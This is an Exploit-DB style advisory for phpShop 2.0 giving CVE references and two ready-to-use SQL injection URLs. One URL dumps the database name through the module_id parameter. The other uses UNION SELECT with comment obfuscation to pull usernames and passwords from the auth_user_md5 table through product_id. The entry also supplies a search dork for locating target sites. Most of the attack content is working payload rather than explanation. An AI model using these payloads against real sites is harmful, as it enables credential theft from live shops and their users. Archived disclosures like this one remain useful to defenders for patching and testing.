phpShop 2.0 - SQL Injection

Author: By onestree
type: webapps
platform: php
port: 
date_added: 2013-01-14 
date_updated: 2016-10-27 
verified: 1 
codes: OSVDB-89153;CVE-2009-4571;CVE-2008-0681;OSVDB-41509 
tags: 
aliases:  
screenshot_url:  
application_url: http://www.exploit-db.comphpshop-0.8.1.tar.gz

# Exploit Title : phpshop 2.0 SQL Injection Vulnerability
# Author        : By onestree
# Software Link : http://code.google.com/p/phpshop/downloads/list
# tested        : windows 7 / ubuntu
# Dork          : inurl:"tanyakan pada rumput yang bergoyang"

SQLi p0c:

==================

http://localhost/phpshop 2.0/?page=admin/function_list&module_id=11'
union select 1,database(),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 --

http://localhost/phpshop 2.0/?page=shop/flypage&product_id=1087'/**/union/**/select/**/1,1,1,1,1,password,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,username/**/from/**/auth_user_md5--




Thanks :

  Exploit-db | Alex_Ownz | alm.teardrop | abhelink | kalong666 | prorebell

          indonesiancoder - moeslimh4x0r - go-coder